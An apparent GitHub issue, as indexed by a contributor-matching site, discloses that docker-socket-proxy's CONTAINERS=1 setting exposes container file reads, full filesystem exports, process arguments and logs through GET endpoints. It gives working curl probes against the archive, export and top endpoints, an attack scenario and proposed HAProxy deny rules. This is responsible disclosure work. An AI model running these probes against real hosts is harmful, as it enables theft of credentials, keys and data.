Tecnativa / Tecnativa/docker-socket-proxy
CONTAINERS=1 grants unintended filesystem read access to all containers
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 2.8k
- Forks
- 207
- PR merge metrics
- No merged PRs in 30d
Description
Summary
When CONTAINERS=1 is set (the standard configuration recommended by every Traefik and monitoring guide), the proxy allows arbitrary file reads from any container and full container filesystem exports via GET-only Docker API endpoints. POST=0 does not prevent this.
An attacker who compromises a service behind the proxy (Traefik, Portainer, a monitoring agent) can silently exfiltrate the entire filesystem of every container on the host - including credentials, private keys, application source code, and environment variables - using only GET requests through the "read-only" proxy.
Affected configuration
# This is the universally recommended "secure" Traefik configuration.
# Every deployment guide reviewed uses this pattern.
docker-socket-proxy:
image: tecnativa/docker-socket-proxy
environment:
CONTAINERS: 1 # ← enables the attack
POST: 0 # ← does NOT prevent it
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
Root cause
haproxy.cfg line 60 gates the entire /containers namespace with a single prefix-match regex:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
This allows ALL sub-paths, including:
| Endpoint | Method | What it does |
|---|---|---|
/containers/{id}/archive?path=/etc/shadow |
GET | Read any file from any container |
/containers/{id}/export |
GET | Download entire container filesystem as tar |
/containers/{id}/top |
GET | Process listing with full command-line arguments |
/containers/{id}/logs?stdout=1 |
GET | Container stdout/stderr logs |
These are all GET endpoints - the POST=0 read-only toggle is irrelevant.
The project already has sub-path controls for container operations (ALLOW_START, ALLOW_STOP, ALLOW_RESTARTS, ALLOW_PAUSE, ALLOW_UNPAUSE), demonstrating awareness that blanket /containers access is too broad. But the most dangerous sub-paths - /export, /archive, /logs, /top - have no equivalent controls.
Impact
Confidentiality: High. An attacker with access to the proxy can:
- Read arbitrary files from any container -
/etc/shadow,/app/.env, private keys, TLS certificates, database credential files - Export full container filesystems - complete tar archive of every container on the host
- Extract secrets from process arguments - database passwords, API keys, and tokens visible in
/topoutput - Read application logs - which frequently contain tokens, session IDs, and PII
Scope: Every deployment using CONTAINERS=1 is affected. This is the standard recommended configuration for Traefik, Portainer read-only, Prometheus Docker SD, and other monitoring/routing tools.
No mitigation exists. An operator who needs container listing (the core use case for this proxy) cannot block filesystem reads without modifying the HAProxy configuration manually. There is no ALLOW_EXPORT=0 or ALLOW_ARCHIVE=0 flag.
Proof of concept
See the PoC files here: https://gist.github.com/nedlir/e4f52f88a757f02c67db1fd5dd70d732
The PoC creates a self-contained lab environment and demonstrates the attack. It is fully non-destructive - no containers are modified, only read.
# 1. Start the lab
docker compose -f findings/docker-compose.yml up -d
# Wait a few seconds for containers to start
# 2. Run the PoC
bash findings/poc.sh
# 3. Cleanup
docker compose -f findings/docker-compose.yml down -v
See poc.sh for the full test, or run individual probes:
PROXY="http://localhost:2375"
# List containers
curl -s "$PROXY/containers/json" | jq '.[].Names'
# Read /etc/passwd from any container (GET only, no POST needed)
CID=$(curl -s "$PROXY/containers/json" | jq -r '.[0].Id')
curl -s "$PROXY/containers/$CID/archive?path=/etc/passwd" | tar -xO
# Export entire filesystem
curl -s "$PROXY/containers/$CID/export" | tar -t | head -20
# Process listing with command-line arguments
curl -s "$PROXY/containers/$CID/top" | jq '.Processes'
Attack scenario
┌────────────────────────────┐
│ Docker Host │
│ │
│ ┌──────────┐ ┌────────┐ │
│ │ Postgres │ │ App │ │
│ │ (secrets │ │ (source │ │
│ │ in env) │ │ code) │ │
│ └──────────┘ └────────┘ │
│ ▲ ▲ │
│ │ │ │
│ ┌─────┴────────────┴────┐ │
│ │ Docker daemon │ │
│ └───────────┬────────────┘ │
│ │ │
│ ┌───────────┴────────────┐ │
│ │ docker-socket-proxy │ │
│ │ CONTAINERS=1, POST=0 │ │
│ │ (intended: read-only │ │
│ │ container metadata) │ │
│ └───────────┬────────────┘ │
│ │ │
│ ┌───────────┴────────────┐ │
│ │ Traefik │ │
│ │ (compromised via SSRF, │ │
│ │ plugin supply-chain, │ │
│ │ or CVE) │ │
│ └────────────────────────┘ │
└────────────────────────────┘
Attacker compromises Traefik → uses proxy to:
GET /containers/{postgres-id}/archive?path=/var/lib/postgresql/data
GET /containers/{app-id}/export
GET /containers/{app-id}/top (shows: "node app.js --db-password=s3cret")
Suggested fix
Add deny rules for dangerous container sub-paths before the blanket CONTAINERS allow, matching the pattern already used for ALLOW_START/ALLOW_STOP:
# Deny dangerous container sub-paths unless explicitly allowed (place BEFORE the CONTAINERS rule)
http-request deny if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers/[a-zA-Z0-9_.-]+/export } !{ env(ALLOW_EXPORT) -m bool }
http-request deny if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers/[a-zA-Z0-9_.-]+/archive } !{ env(ALLOW_ARCHIVE) -m bool }
http-request deny if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers/[a-zA-Z0-9_.-]+/logs } !{ env(ALLOW_LOGS) -m bool }
With corresponding Dockerfile defaults:
ENV ALLOW_EXPORT=0 \
ALLOW_ARCHIVE=0 \
ALLOW_LOGS=0
This preserves backward compatibility for the safe /containers/json and /containers/{id}/json endpoints while blocking the dangerous ones by default.
Environment
- docker-socket-proxy:
latest(HAProxy 3.4.2-alpine base, commit2e118a0) - Docker Engine: 29.4.3
- Tested: 2026-08-15
- All testing performed against live proxy instances, not code snippets
Related
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with haproxy.cfg around line 60 and compare the blanket CONTAINERS rule with the existing ALLOW_START and ALLOW_STOP controls. Review Dockerfile defaults and run findings/docker-compose.yml with findings/poc.sh to verify that dangerous GET endpoints are denied by default while container metadata access remains available.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- docker
- Domain
- infrastructure, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 58/100